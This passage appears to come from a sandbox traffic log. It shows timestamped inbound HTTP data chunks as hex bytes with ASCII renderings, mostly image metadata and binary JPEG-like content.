0b</rdf:li> <rdf:li>xmp.did:ca0ed153-1ab0-43b4-834f-ea8ee8fe6869</rdf:li> <rdf:li>xmp.did:ca986b9a-8c2a-2843-9948-
af934f436670</rdf:li> <rdf:li>xmp.did:cb17b

2022-05-26 11:47:00 UTC 9722 IN Data Raw: 34 63 65 37 2d 38 62 65 37 2d 32 62 64 62 63 63 39 64 62 63 65 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 63 66 61 37 63 30 32 2d 35 36 62 36 2d 34 35 63 30 2d 39 30 66 61 2d 64 62 63 
63 66 61 34 32 36 66 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 64 36 61 
38 62 37 36 2d 35 36 34 33 2d 34 66 39 37 2d 39 61 33 66 2d 33 31 34 66 65 32 32 38 66 39 31 35 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 64 39 66 39 66 63 63 2d 64 61 35 66 2d 37 35 34 66 2d 38 
39 66 38 2d 32 35 35 31 62 35 34 37 36 30 66 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 66 64 63 31 34 39 63 61 2d 31 36 31 39 2d 34 35 34 32 2d 38 31 
Data Ascii: 4ce7-8be7-2bdbcc9dbce4</rdf:li> <rdf:li>xmp.did:fcfa7c02-56b6-45c0-90fa-dbccfa426ffd</rdf:li> <rdf:li>xmp.di
d:fd6a8b76-5643-4f97-9a3f-314fe228f915</rdf:li> <rdf:li>xmp.did:fd9f9fcc-da5f-754f-89f8-2551b54760f1</rdf:li> <rdf:li>xm
p.did:fdc149ca-1619-4542-81

2022-05-26 11:47:00 UTC 9729 IN Data Raw: a0 f2 eb c8 99 8a d4 65 8d 26 83 8f 6f 49 d4 1a 62 b5 c0 30 a1 46 40 85 6a 41 a4 50 e0 30 a3 c4 dc 9f 56 ba 
a2 28 7b 7f 1c 71 a7 c9 88 b1 32 4d d9 22 82 07 3c 07 21 23 0d f2 15 d2 d3 30 0c e5 cc e0 49 a0 eb 6a 12 66 91 c3 f5 c6 
b3 31 20 a5 44 31 d3 c3 99 8c 13 06 56 24 68 58 89 12 04 e4 7b eb 8c 9c 70 68 90 a4 b2 83 a4 15 91 99 a7 1f 86 32 b1 
a0 ee a0 c8 28 62 9c 64 13 dd 86 40 64 60 2d 39 9c 85 3e 18 06 04 5d 54 11 a8 b1 24 fb 79 0c 08 31 20 19 99 51 03 12 
45 03 18 58 e7 4c 17 80 ac 8e 59 b4 96 80 d7 1e a1 12 74 d6 98 ca 46 c2 09 72 f2 b8 f4 f4 00 bc 62 41 f7 62 89 08 ed 38 
04 ca ad 24 64 38 73 ef c6 e4 50 c9 72 17 4d d5 25 46 50 4c f7 60 35 e8 3d 2d ea 01 ef 0b 7e 4b 24 85 22 8a 45 47 01 83 
12 09 8e 0e 96 22 60 92 22 95 e7 85 6b 01 92 1f 2b 16 06 44 d2 
Data Ascii: e&oIb0F@jAP0V({q2M"<!#0Ijf1 D1V$hX{ph2(bd@d`-9>]T$y1 QEXLYtFrbAb8$d8sPrM%FPL`5=-~K$"EG"`
"k+D

2022-05-26 11:47:00 UTC 9745 IN Data Raw: ff 00 1d 98 d3 26 80 88 a1 57 d4 62 48 39 53 29 38 38 83 1c 25 57 42 99 04 92 a0 1f 69 c0 76 80 41 02 9a c8 
96 00 57 cb c0 cf e9 81 12 cc 8e 32 79 8a 2d 6b 31 10 40 e7 27 01 04 92 a6 99 06 b5 a4 99 93 3d b8 6e d0 08 04 ad a8 
9d 35 26 4e 59 7b b0 26 4c 8f 29 2e 21 6a 87 4f ed fc ce 32 52 66 c1 e8 69 28 9d c0 81 39 e0 04 ff d6 fa aa 82 5b 4b 01 
26 80 86 ec f7 63 e6 92 3d 26 0a fa b5 e4 9b 32 20 82 47 38 cf 30 30 1e 42 94 1c d0 75 81 05 b4 83 11 4c f0 52 90 3c 9d 
d2 5d 91 09 f2 d6 86 9d d8 3d 40 1d 6e 3a 08 45 2e 64 0e 5d 87 3f 7e 32 60 0f 71 d9 57 ca 09 33 90 e5 c2 98 0d c0 e0 ee 
45 bb 65 ee 1a 00 75 31 89 9c 06 e0 0c 85 c4 17 94 3b 1f 21 24 80 b4 9f 6f c7 06 7d 4c 04 e9 b6 a1 99 46 ac d0 0c 84 f6 
60 36 67 2c 35 b6 1a 41 be a9 34 ae 75 e0 30 53 f5 34 0a dc 
Data Ascii: &WbH9S)88%WBivAW2y-k1@'=n5&NY{&L).!jO2Rfi(9[K&c=&2 G800BuLR<]=@n:E.d]?~2`qW3Eeu1;!$o}LF`
6g,5A4u0S4

2022-05-26 11:47:00 UTC 9761 IN Data Raw: bb 33 41 00 35 13 ea d0 0c 94 60 c4 80 8a 5a 46 24 a0 26 39 e5 8d c1 91 12 3d 39 d0 7b 0e 40 77 71 38 d6 
a9 aa c1 fa 65 9b 52 d7 2a c5 67 bc 93 86 ad 41 6b 05 f4 4a cb 5d 69 91 32 4d 47 8e 58 32 80 d3 67 ad 5b 0c 7c c2 38 f7 
8c 14 e4 0d 41 cb d0 aa 5c 99 e4 01 83 f1 18 7a a1 6c 54 5d bf a1 c1 75 52 79 16 d5 8e 95 52 2d 96 c9 55 53 76 16 33 
50 3e 18 85 91 44 19 c2 ba 94 0b 0b 95 24 53 06 11 a4 82 db 55 1a 41 20 1c c1 e3 8c 90 1b 23 a2 09 e6 7e 18 68 f2 0e 4
1 fa 4c f7 01 81 a4 0c bf 31 85 e5 fd 86 5c 0c 3a 2a 88 33 07 05 98 aa dd 68 55 22 d4 07 91 24 89 f2 cf 9a 3b 62 83 01 84 
ea 19 5f 28 12 b1 04 f2 f6 0c 32 42 33 d7 18 b0 fd b5 ac 50 7c 71 9c 99 00 19 10 f2 79 0a 0f 86 02 4f c8 79 38 06 ac c3 7c 
28 29 c7 06 a6 68 29 56 26 66 7b 28 3c 72 9c 33 91 52 23 95 
Data Ascii: 3A5`ZF$&9=9{@wq8eR*gAkJ]i2MGX2g[|8A\zlT]uRyR-USv3P>D$SUA #~hAL1\:*3hU"$;b_(2B3P|qyOy8|()
h)V&f{(<r3R#

2022-05-26 11:47:00 UTC 9769 IN Data Raw: 58 1d 4a 0e 44 f6 e1 94 93 69 72 78 3f a6 46 b8 cf 29 02 31 b8 0d 6b 2e 10 63 e9 15 99 35 00 81 21 b3 ae 78 
54 ca da a9 02 64 f4 81 b9 90 80 32 ae 01 ba 3e 40 da be 9e 7b 04 91 0d 52 04 f6 67 80 94 e4 2d f5 c1 63 64 0b 4b e5 a9 
ce 58 0a 72 18 69 80 2a 8c a4 20 d5 64 89 1f 35 3e 30 4e 03 63 a5 e8 4d 0d cb c2 6d 90 c4 f0 40 48 19 e0 44 8e 9b 42 
77 ee 2d 96 92 c9 72 e4 81 0d 3f 96 12 d7 eb 86 05 59 c8 06 57 61 00 80 09 cb 94 70 9c 2f bb 1c 14 ff 00 ac da 92 b7 d3 
36 de ac 47 3d 44 f8 e2 95 6f c1 cb 7a c3 c8 40 ea a3 55 a3 e6 e2 5a b9 e1 9d 85 83 82 f1 42 03 9d 60 fe ec c1 f0 c8 60 
2b 05 a9 0d b6 74 b8 d1 39 8f 29 81 9f e3 2c 25 ef 2b 05 fe 3a ce 49 5e b2 1d 48 52 4b 2f 3e cc 2d 6c 35 e9 df 25 6d c6 
36 cc 3a 90 cb cf bb 15 6e 4e 57 58 e4 41 ee aa a0 64 82 6b 
Data Ascii: XJDirx?F)1k.c5!xTd2>@{Rg-cdKXri* d5>0NcMm@HDBw-r?YWap/6G=Doz@UZB``+t9),%+:I^HRK/>-l5%m6:
nNWXAdk

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:00 UTC 9785 IN Data Raw: cf 12 79 fa fe 87 4a 4e 31 f5 f8 85 37 18 90 65 1a 60 40 26 73 ee a1 c0 75 68 a5 76 28 90 77 8b 39 03 48 15 
13 db e1 81 31 81 6d 16 39 7c b0 58 b8 49 03 28 59 a7 f5 c6 4a 79 12 f6 6b 12 35 b0 d5 ba b0 0a 38 54 9c 80 ad 39 e2 
76 cf 07 46 95 2b 23 77 2c 2b 5a 39 33 49 82 d1 22 79 7e 98 d5 84 51 a9 e0 cc dc 29 ea c8 83 0c a3 ba 33 c7 65 6b 28 
f1 36 6c 55 d9 23 d7 6e 14 24 5a 50 54 d4 f9 a0 76 1c 73 39 47 a5 da 51 4d b8 dc 8b 8c 5c 89 0a 04 7b 7f 04 63 aa 8a 39 
3c 9d fb 3b 3c 11 f5 54 08 0c 26 64 d2 6b 9e 78 a2 ac 11 56 27 71 c2 2f a9 71 49 07 f4 f7 63 3b 2f 03 af b9 23 78 5c 58 45 
9a cf 31 85 6c 62 03 38 6e 1c 00 1e cc 06 8d 23 16 f7 0a 5a 00 3e 5e 11 9c 72 c3 d5 01 d8 06 e2 f0 24 96 22 24 16 d1 9f 
89 c0 74 07 71 8b 3b 94 65 f4 d1 41 20 44 16 ac 1c f2 e5 89 
Data Ascii: yJN17e`@&suhv(w9H1m9|XI(YJyk58T9vF+#w,+Z93I"y~Q)3ek(6lU#n$ZPTvs9GQM\{c9<;<T&dkxV'q/qIc;/
#x\XE1lb8n#Z>^r$"$tq;eA D

2022-05-26 11:47:00 UTC 9801 IN Data Raw: 89 ed cb 1a 40 2d 71 0a 1a 69 ef 89 c6 6d 8c aa 98 06 3a 07 30 0e 71 03 bf 00 12 86 56 28 54 77 cf bf 18 07 
af 03 32 9c 2b 13 99 c0 83 49 eb 6c 02 68 55 9f 12 2a 30 0d 27 43 30 3a 08 1a c0 93 5f 76 0f 6f 53 40 07 bc 2e 95 d1 25 
28 40 e7 8c b2 66 2d f2 30 72 4d 68 2b 38 d0 90 1b 38 6e 1f 94 ce ac c4 f0 c3 30 48 37 76 75 d2 08 d7 06 48 19 f8 60 36 
cc 88 b6 a6 82 a6 5a 29 51 f0 81 f8 e1 84 98 1a 24 5d 98 88 d6 26 e7 03 c0 4f 69 80 70 39 0f 04 d2 c9 b8 c4 cc 15 ed 93 
df 83 f7 14 29 b6 6d 8f 54 91 90 95 9e 1e 38 2f 06 47 1d f5 0e 40 f0 11 5e 71 fa e3 48 0f 2a 0d 5a a4 04 34 f2 8a 81 fe 95 
e7 31 85 ea 98 d2 5b 5b b8 a9 65 c3 44 b4 15 8a 80 3b 23 96 02 43 82 d6 08 45 51 e5 19 c7 1a 70 8c f1 9b 81 95 64 88 
9b c1 b4 82 c3 81 07 05 5a 72 2b a9 c6 01 14 32 d6 a0 80 
Data Ascii: @-qim:0qV(Tw2+IlhU*0'C0:_voS@.%(@f-0rMh+88n0H7vuH`6Z)Q$]&Oip9)mT8/G@^qH*Z41[[eD;#CEQpdZr
+2

2022-05-26 11:47:00 UTC 9809 IN Data Raw: 9c 27 23 44 03 bb 76 d8 3a 99 0b 00 0f 94 0c 1a af 26 60 50 6a 6f 50 a8 29 52 16 b4 8e ec f1 4e b8 12 72 14 ff 
00 25 cf 4c 03 27 38 fc 65 80 d4 19 39 1f b5 6e b3 92 73 07 f1 18 56 e4 a2 50 12 e2 bd dd 26 de 92 4c 00 48 e0 0f e7 83 
01 6e 46 2c 20 b4 e3 52 ea 26 49 1d 86 9e fc 64 b2 67 c4 84 b9 72 dd b2 d4 26 a1 d8 c9 cf 20 3b 47 bb 0d d3 22 77 17 
4d cb 1d 6e 5a 74 a9 e2 4d 72 34 ed c0 8f 53 48 a5 c6 65 80 62 60 13 1f 09 c6 e4 c0 9d 5c f9 83 19 55 a2 af 33 49 ef c2 
b4 69 16 6d b8 bc 3f f7 3a c0 58 33 11 27 86 47 0a c6 47 77 56 8c 96 b4 74 90 00 12 27 31 4f 7e 0a 50 66 84 51 9a db fa 
56 88 20 f9 9d 72 a9 e3 18 6a 51 db 82 77 b2 48 69 9a e0 20 5b 51 91 0c 0e 3a 55 24 e7 77 80 eb 79 80 3a 1a 75 73 15 
8c 3f b7 f9 8b ee 0a fa 97 14 e9 24 2a 0a c0 00 1c 67 ae 01 
Data Ascii: '#Dv:&`PjoP)RNr%L'8e9nsVP&LHnF, R&Idgr& ;G"wMnZtMr4SHeb`\U3Iim?:X3'GGwVt'1O~PfQV rjQwHi 
[Q:U$wy:us?$*g

2022-05-26 11:47:00 UTC 9825 IN Data Raw: 17 f6 89 b8 17 42 97 50 e3 48 21 be 5e d1 c3 3c 17 44 d0 3b 33 e2 3b bf b4 3a 98 dd b5 ab e8 f7 b5 7c b7 00 
91 70 76 c9 15 e7 9c 71 c7 9f 6f 8f 69 e0 84 64 fa 87 40 d9 ff 00 f1 eb 06 d6 f1 91 ee 9a 79 04 40 8c 81 fc 76 63 af 56 bf 
69 43 e5 97 d5 51 0e a7 bb b3 ba bd b7 dc 6e 89 d3 b7 bf 6d 91 cd 14 16 b8 aa 4c 8e 60 c6 3a 2b b6 19 57 49 35 b7 b6 
9b 7b ec 0a 56 e4 98 1f b6 86 49 8e 3d f8 1b b5 cf 24 53 30 5f 71 f4 95 8b 85 ac 5b bf b9 36 a4 3d fb 84 22 ae a0 09 31 
90 1c 78 e7 5c 79 96 f8 ca 61 e7 ef f6 3a 28 93 cb 30 7d 43 ed b1 b7 b2 9b fb 4c 0a 5d 25 95 88 d2 34 44 d2 4d 66 b1 5a 
e7 c7 1c bb 35 3a b4 c4 75 ec 50 ec ca 6c ec bb 6f ee de b7 b5 7b 8d a8 aa 07 d4 18 08 0b 4e 42 b3 4a 1c f8 55 36 e1 24 
32 b2 5c 89 5f e9 bd 3f 74 f6 b7 dd 0f a9 22 5b 28 0b 5a 
Data Ascii: BPH!^<D;3;:|pvqoid@y@vcViCQnmL`:+WI5{VI=$S0_q[6="1x\ya:(0}CL]%4DMfZ5:uPlo{NBJU6$2\_?t"[(Z

2022-05-26 11:47:00 UTC 9841 IN Data Raw: 10 09 cf 3e dc e4 02 30 ee fe 82 75 21 40 4b 02 17 8c f6 71 35 a6 16 ce 02 88 fa 91 e7 b6 e6 05 78 56 98 29 f9 
41 62 6c 59 9c 66 3d 95 f6 8f e9 84 cc e0 24 92 e1 20 08 62 d5 26 44 8a f6 c6 0f 6f af f7 04 49 36 10 24 02 c7 b2 83 c7 f0 
70 1e 0d 04 f5 80 34 98 82 63 33 3e 18 69 84 08 96 1a d1 32 34 80 a4 8e 44 e3 55 85 a3 a6 d9 ff 00 ef 20 cf 13 00 08 c1 
80 1e 0a 96 c0 6e 07 b2 b3 38 cf 08 2b 24 85 c3 1a c1 a4 50 d3 0d db d1 8b 04 8d c1 42 0b 12 79 71 e1 85 ec 80 ea 01 
8b bb 05 51 a4 95 91 32 7e 18 65 77 11 fd 4c ea 98 52 a5 90 2d d9 99 9d 46 90 47 b3 01 e4 cb 05 8e d0 8b b6 94 c4 90 
00 9c 89 f6 e1 d3 81 5d 46 8d 60 8a 0e 12 70 24 d1 00 34 e9 91 02 39 fc 70 cb 06 67 96 94 22 39 01 8d 20 18 54 91 2d 
e5 e1 18 d2 64 82 2a 11 f2 c0 03 b3 01 b3 40 4d 01 78 00 70 
Data Ascii: >0u!@Kq5xV)AblYf=$ b&DoI6$p4c3>i24DU n8+$PByqQ2~ewLR-FG]F`p$49pg"9 T-d*@Mxp

2022-05-26 11:47:00 UTC 9848 IN Data Raw: 16 20 61 61 71 b5 29 fd b5 a5 2b df 81 21 48 30 bd c0 e7 d9 9e 34 82 09 87 0c 72 3e 5e c1 80 10 6e 0d e8 8a 
d6 b2 06 5e 38 cc d2 0c db 36 ce 85 24 77 67 ec c6 98 0f 21 89 75 10 04 c5 09 9c 69 91 60 50 24 99 02 b3 24 4f e9 85 1c 
65 24 30 a0 ae 52 32 c1 6e 18 22 46 75 ea f2 5c f9 a2 b1 39 e3 3b 1b a9 25 6d 00 7a 93 26 28 01 e2 78 9c 2c 87 a8 da 
ac 09 93 83 20 e4 f1 b5 a9 a4 12 7b f0 18 66 08 b2 9c 95 88 23 8e 78 c0 90 64 ba 99 17 20 72 d2 27 c7 01 b6 19 44 1a 
eb 71 65 20 70 8f eb 8d 26 3c 14 b7 98 44 f7 1c 15 20 70 41 12 e0 91 71 94 1a e5 39 70 9c 3a 9f 20 b5 91 35 b6 ce 3e 61 
13 db 81 00 92 7e 9b cc d0 76 41 ae 32 46 93 80 dd 32 b0 b9 8e 38 c8 c4 88 20 69 40 35 77 ff 00 4c 18 00 12 cc 2a 62 9
c 88 fd 31 a6 0d 01 35 17 04 69 a1 ee c1 6e 4d 04 82 cf 9b 49 04 
Data Ascii:  aaq)+!H04r>^n^86$wg!ui`P$$Oe$0R2n"Fu\9;%mz&(x, {f#xd r'Dqe p&<D pAq9p: 5>a~vA2F28 i@5wL*b15inMI

2022-05-26 11:47:00 UTC 9864 IN Data Raw: 33 f9 71 c5 3d b4 2f b8 d9 c6 ba 50 00 d2 00 a0 ca 3c 31 92 48 0d c9 c6 dc 18 99 24 4e 71 c0 78 e1 a5 01 c8 
34 bf 0d 48 61 94 41 07 db 8c be c2 b6 75 ef 8d 5e 71 03 85 07 ba 31 9c 99 40 2b 9b 80 c2 ab 2c 3f 70 ec e6 4e 58 cf 00 
40 45 d0 ab fc 86 16 94 27 b6 48 18 1d a4 78 82 6c 51 80 54 35 8a 90 32 19 61 e5 32 71 07 2e 1b 62 0b 32 82 4c 89 91 
3d d3 e3 85 6d 21 aa a4 1b 5d 10 7d 12 49 93 58 e3 cf 85 06 15 b9 1a 0e 36 a2 02 83 90 32 6b 07 19 ac 0a 8e 93 ac 01 
43 10 24 d4 7e 5c b1 82 73 d5 2f 30 6b 90 ac 41 3d c3 19 b3 40 ca 17 07 4d cc 89 8e 30 29 da 6a 70 d9 91 5a 1f 92 de 5
9 ad 6b 31 f0 c3 e4 52 25 c0 ce 20 e4 3b 70 ad 86 05 98 aa 92 66 3b a9 5f c5 6b 80 d8 52 3c 75 22 ca 4a cc 7e e2 7b 30 
03 12 45 dc a2 eb 72 32 e5 48 19 e0 48 dd 48 a3 29 e3 5c f2 8e ee 
Data Ascii: 3q=/P<1H$Nqx4HaAu^q1@+,?pNX@E'HxlQT52a2q.b2L=m!]}IX62kC$~\s/0kA=@M0)jpZYk1R% ;pf;_kR<u"J~
{0Er2HHH)\

2022-05-26 11:47:00 UTC 9880 IN Data Raw: 8e 11 8e 41 c6 aa 40 9e ee 78 56 c2 91 e6 16 ad 98 90 40 af 97 3f 8e 0c 33 49 eb 77 13 f6 cf 75 3f 2c 6e 4c 1a 
c6 ed 6d 93 6a e5 bd 48 4c f9 85 01 e0 79 cf 1c 4e f4 92 94 bc 72 2b 72 0c f0 49 1e 69 a7 e0 61 a0 ca c2 ea 43 c7 a6 ca 
eb 31 42 0f f6 c1 4b d0 0d cf 23 16 36 b6 ae d1 87 93 8e a3 99 1c f0 1b 90 aa a1 91 b7 4b 6c 4d 99 81 98 26 70 50 2d 54 
81 00 d2 74 93 db 5c 16 c5 4a 4e 3a 7a 92 ce 66 00 d3 49 99 e7 ee c2 bb 40 7a 02 b9 b7 12 1c 20 9c 87 8c 40 c3 2b 0b 
6a 81 28 8a 5a e1 0c 18 4f 75 30 45 24 aa b2 03 32 85 19 e5 59 a6 02 a8 5d ce 5c 08 35 08 d5 34 9a 0c fb b1 9b 02 04 
d6 41 5f e2 0a 18 9f 99 4c ad 69 82 06 89 5b b0 c3 59 2a 5b 39 83 c7 2a d6 72 c0 76 48 65 46 f2 14 5b 16 e5 80 92 0c c9 
e7 90 c1 4e 00 ea 19 60 88 92 4f 3c f0 dd 85 ea 2f 71 2e 12 
Data Ascii: A@xV@?3Iwu?,nLmjHLyNr+rIiaC1BK#6KlM&pP-Tt\JN:zfI@z @+j(ZOu0E$2Y]\54A_Li[Y*[9*rvHeF[N`O</q.

2022-05-26 11:47:00 UTC 9888 IN Data Raw: 53 e3 8d 80 f5 01 6f 6c 6e 18 60 e8 b0 04 03 12 67 90 24 61 5a 93 41 69 66 cd ab 0a aa aa 08 01 a6 44 65 96 
0b 0a 50 79 ac 02 c3 4a 40 a0 24 c0 ca bd d5 ef c4 d8 e9 95 fd 47 65 7f 73 7f 6e c0 c5 94 67 2c b3 12 62 01 e1 31 5a 76 
ce 33 ae 46 97 e0 60 db 88 37 27 50 ad 46 78 2e a1 ad 85 6e 4e 96 62 2b 21 4f 77 0e ec 4d a2 8d 87 b6 14 a0 88 ec f2 
c7 76 78 a4 22 2a 41 5b b0 2d ac 27 94 46 43 19 42 c0 7a b7 90 80 3a 81 49 14 11 9e 74 c0 63 55 c1 eb da 02 14 b9 01 
08 ca b9 1c 1a a4 2d d9 49 7a f8 75 cd 42 16 13 cb 9e 7e 11 86 39 dd 8f 08 b9 5b a2 a2 a3 51 ca 07 c7 16 82 09 8b be 8f 
9d 8c 18 05 88 ec a1 a7 e9 8d 26 60 7d 32 29 6c d6 40 92 07 03 cb 1a 4c 75 aa e0 bd 02 fc 06 78 67 85 22 f3 83 ff d4 f8 
47 44 7d c6 f7 ae fa f7 2d 9b 3b 9d be e4 5b ba a0 79 4d b9 2a 
Data Ascii: Soln`g$aZAifDePyJ@$Gesng,b1Zv3F`7'PFx.nNb+!OwMvx"*A[-'FCBz:ItcU-IzuB~9[Q&`}2)l@Luxg"GD}-;[yM*

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:00 UTC 9904 IN Data Raw: 32 7b b2 04 fb 30 25 f8 29 f7 0e db 65 48 17 7e 66 30 24 91 98 cb 35 c2 59 c7 2c 64 fd 0e b6 d9 40 d2 a6 da 
85 10 4f a8 a2 9e dc 1e d1 c7 f5 07 27 82 dc f9 85 db 6a 26 68 4b 50 9e 1a 57 38 c3 7b 80 81 73 6a d9 6d 4a fa c9 22 02 
82 93 ed 99 e1 c3 02 64 a2 d8 d7 d4 9d 16 8a b2 5d 42 c0 a9 81 04 81 51 e6 15 03 c7 8e 1b a0 9e f1 6e 36 ce c9 fc d7 82 
5a 5a 69 52 01 ec 1c ab e1 86 ae bf 41 6f b9 49 18 db da 44 b9 65 51 64 9f 9a ea 34 1c ab 43 96 78 57 5b 0f 5d 95 7e 41 
8b 36 6c 28 3a ca 71 68 76 92 64 99 a0 a6 79 08 c2 43 1a d7 5e 0a 4b fb 9d bb be af 4c dd a5 0b 12 6b d9 33 1e dc 5f 55 
7d 64 e6 db 77 e0 4f ea d4 42 21 20 8c 94 52 3c 04 62 9d 24 92 b8 3b db 82 49 76 98 e1 59 8a f6 ce 1e a9 a1 6d 69 15 
77 2c 09 50 63 21 41 dd cb 06 45 80 4a 43 51 82 d4 cd 45 4c 
Data Ascii: 2{0%)eH~f0$5Y,d@O'j&hKPW8{sjmJ"d]BQn6ZZiRAoIDeQd4CxW[]~A6l(:qhvdyC^KLk3_U}dwOB! R<b$;IvY
miw,Pc!AEJCQEL

2022-05-26 11:47:00 UTC 9920 IN Data Raw: 6a d9 33 8c 45 e9 b6 c8 aa c7 38 25 4c fb 67 09 c8 dc 04 5b 04 7c 85 ed 98 a7 f2 37 eb 8c d3 fb fe a6 ec be 90 
e9 56 80 58 f9 a3 8d 4c 9e fc 6b 49 aa d1 e0 c5 f4 fa b0 c4 67 e5 49 e5 ca 98 49 7e 7f b1 48 19 7b ea df c6 ca dd d1 4f 71 
18 75 f8 13 80 82 e2 85 21 56 78 d5 5b 06 7e df d4 58 42 77 b7 25 01 6a db 13 9c f3 f0 c0 90 a4 85 1e eb 6a 07 51 91 30 
3b 33 9e d2 7b 70 1b 19 20 02 f5 75 33 31 33 fb b8 53 f0 30 a3 20 4d bb 52 80 68 a8 ec 3e 3c f1 9a 6c 3c 10 6d d5 e6 ae 
dc 03 23 e5 af 9b dc 0e 1b 22 60 9c df 4b 64 5d 3a 09 15 12 54 f8 12 70 43 04 6d fa 97 6a 8e 59 41 a1 82 df 97 e7 81 26 
81 9b 36 ae 5d f8 1a 57 dc 71 b9 07 03 eb 66 d2 af a6 68 0c 83 15 33 ef c1 90 04 0c 91 08 ed d8 4a 81 f1 c1 46 68 83 da 
92 b0 fc 38 d2 93 83 00 3b 72 d5 c4 52 55 95 84 13 
Data Ascii: j3E8%Lg[|7VXLkIgII~H{Oqu!Vx[~XBw%jjQ0;3{p u313S0 MRh><l<m#"`Kd]:TpCmjYA&6]Wqfh3JFh8;rRU

2022-05-26 11:47:00 UTC 9928 IN Data Raw: ae 35 92 32 64 1d b4 02 54 44 72 31 97 6f 3c 23 c0 c9 fa 9d 0e 23 5a fc d4 04 c5 72 ca 31 45 fc 50 ad 0b a9 
6b 88 a5 a8 ac 21 89 06 4f 74 0c bb f0 d2 dc 05 a1 bb 70 2a 7b 60 cf 87 8f e3 bf 02 40 34 2e 2e 40 65 04 8c 2f 68 34 48 
bd f0 8a 4b fc ab c4 91 53 c7 d9 84 f7 17 9c 0d d5 f8 06 97 26 3f d0 79 67 ed ef c2 55 ce 42 d4 1e b9 6f 50 d2 49 2f fb 84 
d4 63 aa 8f 10 49 af 20 e3 25 6f 2c c5 72 e5 96 1e 44 78 3d a4 a1 3a cd 6b 14 c1 56 ec be e4 ed 58 cf 83 96 9d 44 71 33 
53 ce bd 98 d5 7d 4c f2 36 a3 5c be 63 3c f0 53 4f 21 6a 0e 90 44 82 23 e3 96 1f 00 3d 70 68 d2 c0 00 85 80 f6 d0 7b f0 
3b 64 6e b2 89 10 a4 e9 a1 20 0e 3e ec 67 63 24 00 82 3c f7 0f 97 d9 96 75 fc 7b f1 36 c2 19 34 dc 3a 14 9c aa 08 c8 9c 
33 c9 96 0e 34 32 8a 06 52 49 8e 27 b4 60 f2 6e 08 1b 
Data Ascii: 52dTDr1o<##Zr1EPk!Otp*{`@4..@e/h4HKS&?ygUBoPI/cI %o,rDx=:kVXDq3S}L6\c<SO!jD#=ph{;dn >gc$
<u{64:342RI'`n

2022-05-26 11:47:00 UTC 9944 IN Data Raw: 35 5e b2 75 6f f8 3b 55 26 dc af 03 bd 03 6f 62 fd c0 9b 7b 47 d7 6d 44 17 68 52 a0 e5 5a c9 06 82 0c 57 12 f6 
ec de 58 9a e9 5a 65 2c 9b eb df 62 6d 3a 89 fa fb 68 6c ee 1a a0 b0 a7 28 8e 07 97 b7 1c 77 bd ea a0 ee 7f 1e bb 1f 65 
c9 59 d5 6e ed be d3 42 a6 e0 be b2 26 d5 c5 00 c9 a0 2a 40 92 05 41 ce 47 23 5c 6a 37 77 02 de 8b 4a 95 92 87 ed 2f 
b9 ad be f0 ad c0 b6 d6 fa bd b0 a1 a4 e9 a9 2b 06 47 38 83 cb 14 74 74 53 e0 96 ad fd dc 08 df fb 9e f7 58 dc 5b e9 29 
71 d6 19 d2 dd f0 d4 34 85 21 63 22 00 a9 34 ed ae 16 bf 1d c7 69 03 f9 09 d9 24 67 f6 96 77 a2 f2 dd 7d 29 73 6c de 9a 
ad d6 1a 59 14 c1 2a d0 01 04 88 ac 77 4e 0b 5d 78 e0 ad 1a e1 9b 6e 9e fb 6d f7 d4 7a ce 96 b7 ba 81 0c ac ac 0a c8 23 
29 80 32 fe 98 e2 db 69 3a ab 55 05 99 e9 97 36 68 b7 b5 
Data Ascii: 5^uo;U&ob{GmDhRZWXZe,bm:hl(weYnB&*@AG#\j7wJ/+G8ttSX[)q4!c"4i$gw})slY*wN]xnmz#)2i:U6h

2022-05-26 11:47:00 UTC 9960 IN Data Raw: 00 a7 67 6c 0c 05 92 9c 70 74 0a 91 6d 89 19 4d 06 54 a6 0b 40 19 4b 65 06 ab 83 84 40 39 60 35 06 59 27 
76 05 04 83 15 e1 82 60 fb 7a 1d 2d 59 00 8e 3d dc 30 50 ae a5 a1 6d 30 58 1d 55 81 ce 70 ed 86 b5 15 28 9b 86 f3 02 
b3 c7 2c bb 3b f0 8e 2c 5e b5 8e 4e 9d 88 92 49 a4 46 58 5e a1 84 75 b6 d6 fe 53 20 f1 c3 61 01 eb 18 4b 16 78 44 c7 3a 
fb b0 5c 78 27 d1 ae 43 e8 0e 80 20 3a 84 10 01 d4 31 07 28 ab 49 8a 5e b2 e5 41 50 35 1c c6 78 1d a0 1d 24 ac dd 29 
76 0a 75 ab 49 14 f8 53 0d d9 31 1d 1a 2a 6e dc 6f fe ec f2 ac 12 28 7e 38 7f 75 44 2e 40 b4 be 5f 03 ba 9f 54 5a bb 22 3f 
d4 07 bb f0 70 b2 8b 43 43 b6 55 6e 43 bd e6 0c 56 b5 04 13 c3 02 ce 0a 55 48 64 db 32 92 66 54 71 19 d3 09 30 6b 52 4
f 01 24 db 24 81 06 24 57 85 31 95 e7 02 3d 2d 03 64 b8 84 68 56 
Data Ascii: glptmMT@Ke@9`5Y'v`z-Y=0Pm0XUp(,;,^NIFX^uS aKxD:\x'C :1(I^AP5x$)vuIS1*no(~8uD.@_TZ"?pCCUn
CVUHd2fTq0kRO$$$W1=-dhV

2022-05-26 11:47:00 UTC 9968 IN Data Raw: 93 76 eb 8d 64 95 c2 73 ea 18 82 4c a8 c4 2e 9a ad 2b 1e d3 89 da a3 c9 33 b5 b4 11 dc b6 46 67 81 1c 2a 3f 
53 89 2a a4 c6 6c 8d c3 6f 6a 3d 1d 60 a8 83 e5 a8 12 38 77 61 9b 48 48 28 94 36 e9 c5 d2 a4 1c a2 68 20 fb 4f c3 0f 54 
f9 15 bf 04 ee 6e ad ed 75 25 84 7b b7 62 58 5b cf ba 4d 07 6c fb 30 15 27 90 bb 7a 1f 9a ff 00 ec af fb 3f ab fd 87 d5 6e 
5e e9 77 6d 9d c9 2a 08 bb e6 b4 16 07 f1 c2 d6 49 07 cd 9e 51 19 63 ab e2 68 56 6d f8 39 b7 ed 75 50 3f ff 00 50 ff 00 
